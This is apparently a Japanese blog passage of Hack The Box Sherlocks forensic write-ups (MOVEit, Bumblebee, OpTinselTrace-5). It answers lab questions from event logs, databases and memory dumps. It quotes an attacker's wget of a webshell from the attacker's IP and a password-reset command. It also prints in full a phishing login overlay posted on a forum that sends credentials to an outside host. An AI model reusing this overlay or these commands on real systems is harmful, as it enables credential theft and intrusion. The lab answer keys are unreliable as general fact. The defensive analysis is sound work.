沢山ログが出てくる。Task 3より2023-07-12 10:08:39が最初のコンタクトなので、それ以降でパスワードリセットっぽいものを探す。

"2023-07-12 20:09:27.864 +09:00","mover","Sec",4738,60771,"User account changed","AccountExpires: %%1794 ¦ AllowedToDelegateTo: - ¦ DisplayName: moveitsvc ¦ Dummy: - ¦ HomeDirectory: %%1793 ¦ HomePath: %%1793 ¦ LogonHours: %%1797 ¦ NewUacValue: 0x210 ¦ OldUacValue: 0x210 ¦ PasswordLastSet: 7/12/2023 3:09:27 AM ¦ PrimaryGroupId: 513 ¦ PrivilegeList: - ¦ ProfilePath: %%1793 ¦ SamAccountName: moveitsvc ¦ ScriptPath: %%1793 ¦ SidHistory: - ¦ SubjectDomainName: MOVER ¦ SubjectLogonId: 0x8d5ab ¦ SubjectUserName: moveitsvc ¦ SubjectUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetDomainName: MOVER ¦ TargetSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetUserName: moveitsvc ¦ UserAccountControl: - ¦ UserParameters: - ¦ UserPrincipalName: - ¦ UserWorkstations: %%1793","Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx"
"2023-07-12 20:09:27.864 +09:00","mover","Sec",4724,60772,"Account password reset attempt","SubjectDomainName: MOVER ¦ SubjectLogonId: 0x8d5ab ¦ SubjectUserName: moveitsvc ¦ SubjectUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetDomainName: MOVER ¦ TargetSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetUserName: moveitsvc","Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx"

この辺が該当する。どちらも同じ時刻で、UTCに変換して答えると正答。
12/07/2023 11:09:27

Task 9

Which protocol did the attacker utilize to remote into the compromised machine?
攻撃者は侵害されたマシンにリモートからアクセスするためにどのプロトコルを利用しましたか?

hayabusaで攻撃者のIPアドレスをキーワード検索すると分かる。

$ ./hayabusa-2.12.0-lin-x64-gnu search -d Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/ -k "10.255.254.3"
...

Timestamp ‖ Hostname ‖ Channel ‖ Event ID ‖ Record ID ‖ EventTitle ‖ AllFieldInfo ‖ EvtxFile
2023-07-12 19:08:29.384 +09:00 ‖ mover ‖ RDP-CoreTS ‖ 131 ‖ 10 ‖ - ‖ ClientIP: 10.255.254.3:34408 ¦ ConnType: TCP ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%254Operational.evtx
2023-07-12 19:11:14.980 +09:00 ‖ mover ‖ RDP-CoreTS ‖ 131 ‖ 23 ‖ - ‖ ClientIP: 10.255.254.3:56536 ¦ ConnType: TCP ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%254Operational.evtx
...

このようにRDPのログが残っているので、RDPが答え。

Task 10

Please confirm the date and time the attacker remotely accessed the compromised machine?
攻撃者が侵害されたマシンにリモート アクセスした日時を確認してください。

Task 9で取得したキーワード検索の結果に答えが含まれている。

2023-07-12 20:11:18.665 +09:00 ‖ mover ‖ Sec ‖ 4624 ‖ 60794 ‖ Logon success ‖ AuthenticationPackageName: Negotiate ¦ ElevatedToken: %%1843 ¦ ImpersonationLevel: %%1833 ¦ IpAddress: 10.255.254.3 ¦ IpPort: 0 ¦ KeyLength: 0   ¦ LmPackageName: -       ¦ LogonGuid: 00000000-0000-0000-0000-000000000000 ¦ LogonProcessName: User32  ¦ LogonType: 10 ¦ ProcessId: 0x7bc ¦ ProcessName: C:\Windows\System32\svchost.exe ¦ RestrictedAdminMode: %%1843 ¦ SubjectDomainName: HTB ¦ SubjectLogonId: 0x3e7 ¦ SubjectUserName: MOVER$ ¦ SubjectUserSid: S-1-5-18 ¦ TargetDomainName: MOVER ¦ TargetLinkedLogonId: 0x810079b ¦ TargetLogonId: 0x81007b8 ¦ TargetOutboundDomainName: - ¦ TargetOutboundUserName: - ¦ TargetUserName: moveitsvc ¦ TargetUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TransmittedServices: - ¦ VirtualAccount: %%1843 ¦ WorkstationName: MOVER ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx 

この検索結果の時刻が答え。
いくつかLogon successのログはあるが、RDP経由であるLogonType: 10の最も遅い時刻のものがこれ。
UTCに直した12/07/2023 11:11:18が答え。

Task 11

What was the useragent that the attacker used to access the webshell?
攻撃者が Web シェルにアクセスするために使用したユーザー エージェントは何でしたか?

これまで確認しているTriage\uploads\auto\C%3A\inetpub\logs\LogFiles\W3SVC2\u_ex230712.logを見ればいい。
the webshellはmove.aspxのことなので、以下のログが関連している。

2023-07-12 11:24:43 10.10.0.25 GET /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 200 0 0 1179
2023-07-12 11:24:47 10.10.0.25 POST /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 https://moveit.htb/move.aspx 200 0 0 159

この時のUAが答え。
Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0

Task 12

What is the inst ID of the attacker?
攻撃者のインスタンス ID は何ですか?

inst ID?
と思ってキーワード検索してみるとinstIDでmoveit.sqlが出てくる。MOVEitで使われるIDのようだ。
moveit.sqlにありそうだなということで漁ってみると、以下のloghというテーブルでいい感じの情報がある。

--
-- Table structure for table `loglh`
--

DROP TABLE IF EXISTS `loglh`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `loglh` (
  `ID` bigint NOT NULL AUTO_INCREMENT,
  `InstID` int NOT NULL DEFAULT '0',
  `LastHash` varchar(128) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL,
  PRIMARY KEY (`ID`),
  UNIQUE KEY `InstID` (`InstID`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `loglh`
--

LOCK TABLES `loglh` WRITE;
/*!40000 ALTER TABLE `loglh` DISABLE KEYS */;
INSERT INTO `loglh` VALUES (1,0,'4ADedxO6288H655hj2EnqvCCfq0WfLHu5PE5ijdDbs9cDqS9uPfElLnxiBFeXIuYSPsYWgdmOlM='),(2,3636,'4AD4rNWG1RIUJNkfEvZXgUmWJUz4SHogw+vYW1KXA9suqBx2WuDimMiisFpr6x+ACyKuZScneNR='),(3,1234,'4ABwQKpOanzdGxDp98e95Njhx0bgV4OI9pGyLErB9IVEELR8gPICBPYaeNamGDQC4X8cU5ba1bR=');
/*!40000 ALTER TABLE `loglh` ENABLE KEYS */;
UNLOCK TABLES;

番号が一番大きいものが最後に入った人、つまり攻撃者だろうという仮定(とplaceholderの一致)で
1234を答えると正答。

Task 13

What command was run by the attacker to retrieve the webshell?
Webシェルを取得するために攻撃者はどのコマンドを実行しましたか?

Triage\uploads\auto\C%3A\Users\moveitsvc.WIN-LR8T2EF8VHM.002\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtにある。
wget http://10.255.254.3:9001/move.aspx -OutFile move.aspxが答え。

Task 14

What was the string within the title header of the webshell deployed by the TA?
TA によってデプロイされた Web シェルのタイトル ヘッダー内の文字列は何ですか?

メモリダンプから抜き取る。
Volatility 3を使ったが失敗したので、単純にstringsとgrepで持ってきた。
(問題文にあったPS: アーティファクトの 1 つはメモリ ダンプですが、vmss ファイルを含めるのを忘れていました。ここで基本に立ち返る必要があるかもしれません...というのはそういうことか?)

strings -n 10 I-like-to-27a787c5.vmem | grep "<title>"をしてplaceholderに合いそうな感じで探してsubmit検証していくと
awen asp.net webshellが正解だった。

Task 15

What did the TA change the our moveitsvc account password to?
TA は moveitsvc アカウントのパスワードを何に変更しましたか?

Task 14と同様にメモリから持って来るんだろうと思い、strings -n 10 I-like-to-27a787c5.vmem | grep "moveitsvc"の出力結果を漁ると、良いヒットがある。

net user "moveitsvc" 5trongP4ssw0rd

これですね。5trongP4ssw0rdが答え。

Hack The Box Sherlocks - Bumblebee Writeup

https://app.hackthebox.com/sherlocks/Bumblebee
Hack The Box Sherlocksとは

Sherlock Scenario

An external contractor has accessed the internal forum here at Forela via the Guest WiFi and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.
外部請負業者がゲスト Wi-Fi 経由で Forela の内部フォーラムにアクセスし、管理ユーザーの資格情報を盗んだようです。調査に役立つように、フォーラムからのいくつかのログと sqlite3 形式の完全なデータベース ダンプを添付しました。

webサーバのログとデータベースダンプが与えられる。

Tasks

Task 1

What was the username of the external contractor?
外部請負業者のユーザー名は何でしたか?

データベースダンプを見てみよう。
$ sqlitebrowser phpbb.sqlite3をして巡回する。 ユーザー情報が入ってそうなphpbb_usersテーブルを見て、一番最後のユーザー名を答えると正答だった。 apoole1

Task 2

What IP address did the contractor use to create their account?
請負業者はアカウントの作成にどの IP アドレスを使用しましたか?

Task 1と同じテーブルにIPアドレスも書いてある。 10.10.0.78

Task 3

What is the post_id of the malicious post that the contractor made?
業者が行った悪質な投稿のpost_idは何ですか?

Task 1と同じテーブルからuser_idが52と分かる。
postが書いてありそうなphpbb_postsを見てみると、
poster_id=52のポストが見つかる。
そのpost_idは9だった。
9

Task 4

What is the full URI that the credential stealer sends its data to?
資格情報スティーラーがデータを送信する完全な URI は何ですか?

同様にphpbb_postsを見ると投稿内容も保存されている。

<div><style>body {    z-index: 100;}.modal {    position:fixed;    top:0;    left:0;    height:100%;    width:100%;    z-index:101;    background-color:white;    opacity:1;}.modal.hidden {    visibility: hidden;}</style><script type="text/javascript">function sethidden(){    const d = new Date();    d.setTime(d.getTime() + (24*60*60*1000));    let expires = "expires="+ d.toUTCString();    document.cookie = "phpbb_token=1;" + expires + ";";    var modal = document.getElementById('zbzbz1234');    modal.classList.add("hidden");}document.addEventListener("DOMContentLoaded", function(event) {    let cookieexists = false;    let name = "phpbb_token=";    let cookies = decodeURIComponent(document.cookie);    let ca = cookies.split(';');    for(let i = 0; i < ca.length; i++)    {        let c = ca[i];        while(c.charAt(0) == ' ')        {            c = c.substring(1);        }        if(c.indexOf(name) == 0) {            cookieexists = true;        }    }    if(cookieexists){        return;    }    var modal = document.getElementById('zbzbz1234');    modal.classList.remove("hidden");});</script><iframe name="hiddenframe" id="hiddenframe" style="display:none"></iframe>    <div class="modal hidden" id="zbzbz1234" onload="shouldshow">    <div id="wrap" class="wrap">        <a id="top" class="top-anchor" accesskey="t"></a>        <div id="page-header">            <div class="headerbar" role="banner">                <div class="inner">                    <div id="site-description" class="site-description">                    <a id="logo" class="logo" href="./index.php" title="Board index"><span class="site_logo"></span></a>                    <h1>forum.forela.co.uk</h1>                    <p>Forela internal forum</p>                    <p class="skiplink"><a href="#start_here">Skip to content</a></p>                </div>                    <div id="search-box" class="search-box search-header" role="search">                    <form action="./search.php" method="get" id="search1">                    <fieldset>                        <input name="keywords" id="keywords1" type="search" maxlength="128" title="Search for keywords" class="inputbox search tiny" size="20" value="" placeholder="Search…">                        <button class="button button-search" type="submit" title="Search">                            <i class="icon fa-search fa-fw" aria-hidden="true"></i><span class="sr-only">Search</span>                        </button>                        <a href="./search.php" class="button button-search-end" title="Advanced search">                            <i class="icon fa-cog fa-fw" aria-hidden="true"></i><span class="sr-only">Advanced search</span>                        </a>                    </fieldset>                    </form>                </div>                    </div>            </div>    <div class="navbar" role="navigation">        <div class="inner">            <ul id="nav-main" class="nav-main linklist" role="menubar">                <li id="quick-links" class="quick-links dropdown-container responsive-menu" data-skip-responsive="true">                <a href="#" class="dropdown-trigger dropdown-toggle">                    <i class="icon fa-bars fa-fw" aria-hidden="true"></i><span>Quick links</span>                </a>                <div class="dropdown">                    <div class="pointer"><div class="pointer-inner"></div></div>                    <ul class="dropdown-contents" role="menu">                                <li class="separator"></li>                                <li>                                    <a href="./search.php?search_id=unanswered" role="menuitem">                                        <i class="icon fa-file-o fa-fw icon-gray" aria-hidden="true"></i><span>Unanswered topics</span>                                    </a>                                </li>                                <li>                                    <a href="./search.php?search_id=active_topics" role="menuitem">                                        <i class="icon fa-file-o fa-fw icon-blue" aria-hidden="true"></i><span>Active topics</span>                                    </a>                                </li>                                <li class="separator"></li>                                <li>                                    <a href="./search.php" role="menuitem">                                        <i class="icon fa-search fa-fw" aria-hidden="true"></i><span>Search</span>                                    </a>                                </li>                            <li class="separator"></li>                        </ul>                </div>            </li>                <li data-skip-responsive="true">                <a href="/phpBB3/app.php/help/faq" rel="help" title="Frequently Asked Questions" role="menuitem">                    <i class="icon fa-question-circle fa-fw" aria-hidden="true"></i><span>FAQ</span>                </a>                            <li class="rightside" data-skip-responsive="true">                <a href="./ucp.php?mode=login" title="Login" accesskey="x" role="menuitem">                    <i class="icon fa-power-off fa-fw" aria-hidden="true"></i><span>Login</span>                </a>            </li>                <li class="rightside" data-skip-responsive="true">                    <a href="./ucp.php?mode=register" role="menuitem">                        <i class="icon fa-pencil-square-o  fa-fw" aria-hidden="true"></i><span>Register</span>                    </a>                </li>        </li data-skip-responsive="true"></ul>            <ul id="nav-breadcrumbs" class="nav-breadcrumbs linklist navlinks" role="menubar">            <li class="breadcrumbs" itemscope="" itemtype="http://schema.org/BreadcrumbList" style="max-width: 936px;">                    <span class="crumb" itemtype="http://schema.org/ListItem" itemprop="itemListElement" itemscope=""><a href="./index.php" itemtype="https://schema.org/Thing" itemprop="item" accesskey="h" data-navbar-reference="index" title="Board index"><i class="icon fa-home fa-fw"></i><span itemprop="name">Board index</span></a><meta itemprop="position" content="1"></span>                </li>                    <li class="rightside responsive-search">                    <a href="./search.php" title="View the advanced search options" role="menuitem">                        <i class="icon fa-search fa-fw" aria-hidden="true"></i><span class="sr-only">Search</span>                    </a>                </li>        </ul>            </div>    </div>        </div>                <a id="start_here" class="anchor"></a>        <div id="page-body" class="page-body" role="main">                <div class="panel">                <div class="inner">                        <div class="content">                    <h3>Session Timeout</h3>            <br/>         <br/>                    <p>Your session token has timed out in order to proceed you must login again.</p>                </div>                        </div>            </div>    <form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username" target="hiddenframe">    <div class="panel">        <div class="inner">            <div class="content">            <h2 class="login-title">Login</h2>                <fieldset class="fields1">            <dl>                <dt><label for="username">Username:</label></dt>                <dd><input type="text" tabindex="1" name="username" id="username" size="25" value="" class="inputbox autowidth"></dd>            </dl>            <dl>                <dt><label for="password">Password:</label></dt>                <dd><input type="password" tabindex="2" id="password" name="password" size="25" class="inputbox autowidth" autocomplete="off"></dd>            </dl>            <dl>    <dd><label for="autologin"><input type="checkbox" name="autologin" id="autologin" tabindex="4">Remember me</label></dd>            <dd><label for="viewonline"><input type="checkbox" name="viewonline" id="viewonline" tabindex="5">Hide my online status this session</label></dd>            </dl>                <dl>                <dt>&nbsp;</dt>                <dd>    <input type="submit" name="login" tabindex="6" value="Login" class="button1" onclick="sethidden()"></dd>            </dl>                    </fieldset class="fields1"></div>            </div>    </div>        </form>            </div>            <div id="page-footer" class="page-footer" role="contentinfo">    <div class="navbar" role="navigation">        <div class="inner">            <ul id="nav-footer" class="nav-footer linklist" role="menubar">            <li class="breadcrumbs">    <span class="crumb"><a href="./index.php" data-navbar-reference="index" title="Board index"><i class="icon fa-home fa-fw" aria-hidden="true"></i><span>Board index</span></a></span>       </li>                <li class="responsive-menu hidden rightside dropdown-container"><a href="javascript:void(0);" class="js-responsive-menu-link responsive-menu-link dropdown-toggle"><i class="icon fa-bars fa-fw" aria-hidden="true"></i></a><div class="dropdown"><div class="pointer"><div class="pointer-inner"></div></div><ul class="dropdown-contents"></ul></div></li><li class="rightside">All times are <span title="UTC">UTC</span></li>                <li class="rightside">                    <a href="./ucp.php?mode=delete_cookies" data-ajax="true" data-refresh="true" role="menuitem">                        <i class="icon fa-trash fa-fw" aria-hidden="true"></i><span>Delete cookies</span>                    </a>                </li>        </ul>            </div>    </div>            <div class="copyright">            <p class="footer-row">                <span class="footer-copyright">Powered by <a href="https://www.phpbb.com/">phpBB</a>® Forum Software © phpBB Limited</span>            </p>            <p class="footer-row">                <a class="footer-link" href="./ucp.php?mode=privacy" title="Privacy" role="menuitem">                    <span class="footer-link-text">Privacy</span>                </a>                |                <a class="footer-link" href="./ucp.php?mode=terms" title="Terms" role="menuitem">                    <span class="footer-link-text">Terms</span>                </a>            </p>        </div>            <div id="darkenwrapper" class="darkenwrapper" data-ajax-error-title="AJAX error" data-ajax-error-text="Something went wrong when processing your request." data-ajax-error-text-abort="User aborted request." data-ajax-error-text-timeout="Your request timed out; please try again." data-ajax-error-text-parsererror="Something went wrong with the request and the server returned an invalid reply.">            <div id="darken" class="darken">&nbsp;</div>        </div>            <div id="phpbb_alert" class="phpbb_alert" data-l-err="Error" data-l-timeout-processing-req="Request timed out.">            <a href="#" class="alert_close">                <i class="icon fa-times-circle fa-fw" aria-hidden="true"></i>            </a>            <h3 class="alert_title">&nbsp;</h3><p class="alert_text"></p>        </div>        <div id="phpbb_confirm" class="phpbb_alert">            <a href="#" class="alert_close">                <i class="icon fa-times-circle fa-fw" aria-hidden="true"></i>            </a>            <div class="alert_text"></div>        </div>    </div>        </div>        <div>        <a id="bottom" class="anchor" accesskey="z"></a>    <img src="./cron.php?cron_type=cron.task.core.tidy_warnings" width="1" height="1" alt="cron"></div></div><span>Greetings everyone,<br>   <br>  I am just a visiting IT Contractor, it's a fantastic company y'all have here.<br> I hope to work with you all again soon.<br>   <br>  Regards,<br>Alex Poole</span></div>

formが用意されている。その送信先が答え。http://10.10.0.78/update.php

Task 5

When did the contractor log into the forum as the administrator? (UTC)
契約者はいつフォーラムに管理者としてログインしましたか? (UTC

phpbb_logを見ると
10.10.0.78 1682506392 LOG_ADMIN_AUTH_SUCCESS
のように記録が残っている。 26/04/2023 10:53:12

Task 6

In the forum there are plaintext credentials for the LDAP connection, what is the password?
フォーラムには LDAP 接続の平文認証情報がありますが、パスワードは何ですか?

DBのphpbb_configに書いてあった。
Passw0rd1

Task 7

What is the user agent of the Administrator user?
管理者ユーザーのユーザーエージェントとは何ですか?

$ cat access.log | grep 'admin'で一番最初に出てきたログのUAを答えた。
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

Task 8

What time did the contractor add themselves to the Administrator group? (UTC)
請負業者が自分自身を管理者グループに追加したのはいつですか? (UTC

phpbb_logを見ると
10.10.0.78 1682506431 LOG_USERS_ADDED a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";}
のように記録が残っている。
時刻の1682506431はunix timeっぽいので、UTCで変換すると答えになる。 26/04/2023 10:53:51

Task 9

What time did the contractor download the database backup? (UTC)
請負業者はデータベースのバックアップを何時にダウンロードしましたか? (UTC

$ cat access.log | grep 'backup'
10.10.0.78 - - [26/Apr/2023:11:56:28 +0100] "GET /adm/index.php?i=acp_database&sid=eca30c1b75dc3eed1720423aa1ff9577&mode=backup HTTP/1.1" 200 3770 "http://10.10.0.27/adm/index.php?i=acp_database&sid=eca30c1b75dc3eed1720423aa1ff9577&mode=backup&action=download" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
...
10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
...

何やら怪しいダウンロード記録があるのでこれを答える。
26/04/2023 11:01:38

Task 10

What was the size in bytes of the database backup as stated by access.log?
access.log に記載されているデータベース バックアップのサイズはバイト単位でどれくらいですか?

Task 9と同じところにファイルサイズも書いてある。

10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"

34707

Flare-On 解説まとめ (工事中)

The Flare-On Challenge

Flare-On 10

自分メモ。2まで解けてる

# 題名 キーワード(白塗りしてあるので選択で見て) Writeup
1 X Mono 公式 日本語
2 ItsOnFire apk 公式 日本語
3 Mypassion 公式
4 Aimbot 公式
5 Where_am_i 公式
6 FlareSays 公式
7 Flake 公式
8 AmongRust 公式
9 Mbransom 公式
10 Kupo 公式
11 Over_the_rainbow 公式
12 HVM 公式
13 Y0da 公式

Hack The Box Sherlocks - OpTinselTrace-5 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-5
Hack The Box Sherlocksとは

Sherlock Scenario

You'll notice a lot of our critical server infrastructure was recently transferred from the domain of our MSSP - Forela.local over to Northpole.local. We actually managed to purchase some second hand servers from the MSSP who have confirmed they are as secure as Christmas is! It seems not as we believe christmas is doomed and the attackers seemed to have the stealth of a clattering sleigh bell, or they didn’t want to hide at all!!!!!! We have found nasty notes from the Grinch on all of our TinkerTech workstations and servers! Christmas seems doomed. Please help us recover from whoever committed this naughty attack!
最近、重要なサーバー インフラストラクチャの多くが MSSP のドメイン (Forela.local) から Northpole.local に移管されたことがわかります。実際、私たちは MSSP から中古サーバーをいくつか購入することができました。MSSP はクリスマスと同じくらい安全であることを確認しました。私たちが信じているようにクリスマスは滅びる運命にあるわけではないようで、攻撃者らはそりのカタカタ音を立てるような鐘の音のようなステルスを持っていたか、まったく隠れたくなかったように見えました!!!!!! すべての TinkerTech ワークステーションとサーバーで、グリンチからの厄介なメモが見つかりました。クリスマスは運命にあるようだ。このいたずらな攻撃を行った人物から立ち直るためにご協力ください。

2023年のSherlocksクリスマスイベント問題の5問目、最終問題。
Windowsに対するフォレンジックデータを解析していく。

Tasks

Task 1

Which CVE did the Threat Actor (TA) initially exploit to gain access to DC01?
脅威アクター (TA) が DC01 にアクセスするために最初に悪用したのはどの CVE ですか?

とりあえずノーヒントなのでイベントログをhayabusaで解析してみる。

╭─────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Top critical alerts:                                         Top high alerts:                           │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Active Directory Replication from Non Machine Account (66)   Mimikatz DC Sync (66)                      │
│ Defender Alert (Severe) (36)                                 Antivirus Relevant File Paths Alerts (24)  │
│ Antivirus Exploitation Framework Detection (6)               Antivirus Hacktool Detection (18)          │
│ Antivirus Ransomware Detection (2)                           Defender Alert (High) (14)                 │
│ Antivirus Password Dumper Detection (1)                      User Added To Global Domain Admins Grp (6) │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

この結果を眺めるとこんな感じの検出が出ている。

2023-12-13 09:19:52Z | Mimikatz DC Sync 2023-12-13 09:24:27Z | powershell.exe -c Reset-ComputerMachinePassword

ここからZeroLogonが使われていることを当てる。大分時間をかけてしまった。
CVE-2020-1472が答え。

Task 2

What time did the TA initially exploit the CVE? (UTC)
TA が最初に CVE を悪用したのはいつですか? (UTC

どのタイミングを悪用タイミングと判断するかであるが、ZeroLogonを使ってマシンアカウントのパスワードを変更した履歴の日時を答えると正答だった。
Security.evtxからEventId:4742を漁り、Task 1で報告のあった時刻に近いものを答える。2023-12-13 09:24:23

Task 3

What is the name of the executable related to the unusual service installed on the system around the time of the CVE exploitation?
CVE の悪用の頃にシステムにインストールされた異常なサービスに関連する実行可能ファイルの名前は何ですか?

サービスインストールに関連するイベントログを探そう。
System.evtxのEventId:7045に情報が残っていた。

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7045</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-12-13T09:24:23.3902677Z" /> 
  <EventRecordID>18393</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="700" ThreadID="2648" /> 
  <Channel>System</Channel> 
  <Computer>DC01.northpole.local</Computer> 
  <Security UserID="S-1-5-21-555278382-3747106525-1010465941-500" /> 
  </System>
- <EventData>
  <Data Name="ServiceName">vulnerable_to_zerologon</Data> 
  <Data Name="ImagePath">%systemroot%\hAvbdksT.exe</Data> 
  <Data Name="ServiceType">user mode service</Data> 
  <Data Name="StartType">demand start</Data> 
  <Data Name="AccountName">LocalSystem</Data> 
  </EventData>
  </Event>

答えるべきは実行ファイルの名前なので hAvbdksT.exe が答え。

Task 4

What date & time was the unusual service start?
異例のサービス開始日時は何時ですか?

サービスの状態変更についてはEventID:7036に残るので、これでフィルタリングしてサービス名の
vulnerable_to_zerologonで検索すれば見つかる。

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7036</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-12-13T09:24:24.1072677Z" /> 
  <EventRecordID>18395</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="700" ThreadID="792" /> 
  <Channel>System</Channel> 
  <Computer>DC01.northpole.local</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="param1">vulnerable_to_zerologon</Data> 
  <Data Name="param2">running</Data> 
  <Binary>760075006C006E0065007200610062006C0065005F0074006F005F007A00650072006F006C006F0067006F006E002F0034000000</Binary> 
  </EventData>
  </Event>

2023-12-13 09:24:24が答え。

Task 5

What was the TA's IP address within our internal network?
内部ネットワーク内の TA の IP アドレスは何でしたか?

2023-12-13 09:24:24Z周りで攻撃が発生していそうなので、このあたりのログイン履歴を見てみる。
EventId:4624でフィルタリングして眺める。
すると、見慣れぬNORTHPOLE\DC01$でのログインが2023-12-13 09:24:23に発生している。
この時に使われたIPアドレスを使うと正答。

{"EventData":{"Data":[{"@Name":"SubjectUserSid","#text":"S-1-0-0"},{"@Name":"SubjectUserName","#text":"-"},{"@Name":"SubjectDomainName","#text":"-"},{"@Name":"SubjectLogonId","#text":"0x0"},{"@Name":"TargetUserSid","#text":"S-1-5-21-555278382-3747106525-1010465941-1000"},{"@Name":"TargetUserName","#text":"DC01$"},{"@Name":"TargetDomainName","#text":"NORTHPOLE"},{"@Name":"TargetLogonId","#text":"0x1E1165"},{"@Name":"LogonType","#text":"3"},{"@Name":"LogonProcessName","#text":"NtLmSsp "},{"@Name":"AuthenticationPackageName","#text":"NTLM"},{"@Name":"WorkstationName"},{"@Name":"LogonGuid","#text":"00000000-0000-0000-0000-000000000000"},{"@Name":"TransmittedServices","#text":"-"},{"@Name":"LmPackageName","#text":"NTLM V2"},{"@Name":"KeyLength","#text":"128"},{"@Name":"ProcessId","#text":"0x0"},{"@Name":"ProcessName","#text":"-"},{"@Name":"IpAddress","#text":"192.168.68.200"},{"@Name":"IpPort","#text":"53228"},{"@Name":"ImpersonationLevel","#text":"%%1833"},{"@Name":"RestrictedAdminMode","#text":"-"},{"@Name":"TargetOutboundUserName","#text":"-"},{"@Name":"TargetOutboundDomainName","#text":"-"},{"@Name":"VirtualAccount","#text":"%%1843"},{"@Name":"TargetLinkedLogonId","#text":"0x0"},{"@Name":"ElevatedToken","#text":"%%1842"}]}}

よって192.168.68.200が答え。

Task 6

Please list all user accounts the TA utilised during their access. (Ascending order)
TA がアクセス中に使用したすべてのユーザー アカウントをリストしてください。(昇順)

EventId:4624でフィルタリングして、更にキーワードとして192.168.68.200を使って絞り込もう。

NORTHPOLE\DC01$
NORTHPOLE\Administrator
NORTHPOLE\Bytesparkle
NT AUTHORITY\ANONYMOUS LOGON

このようにログイン履歴が残っている。
ユーザーアカウントに絞って答えると Administrator, Bytesparkleが答えだった。

Task 7

What was the name of the scheduled task created by the TA?
TA が作成したスケジュールされたタスクの名前は何ですか?

C:\Windows\System32\Tasks以下を見てみると、C:\Windows\System32\Tasks\Microsoft\svc_vncというファイルがある。
svc_vncが答え。
ちなみにNORTHPOLE\bytesparkleが追加したみたい。

Task 8

Santa's memory is a little bad recently! He tends to write a lot of stuff down, but all our critical files have been encrypted! Which creature is Santa's new sleigh design planning to use?
最近サンタさんの物覚えが悪いんです!彼は多くのことを書き留める傾向がありますが、私たちの重要なファイルはすべて暗号化されています。サンタの新しいそりのデザインで使用される予定の生き物はどれですか?

splunk_svd.dllをghidraに入れて解析してみると、暗号化処理を行っているように見える。
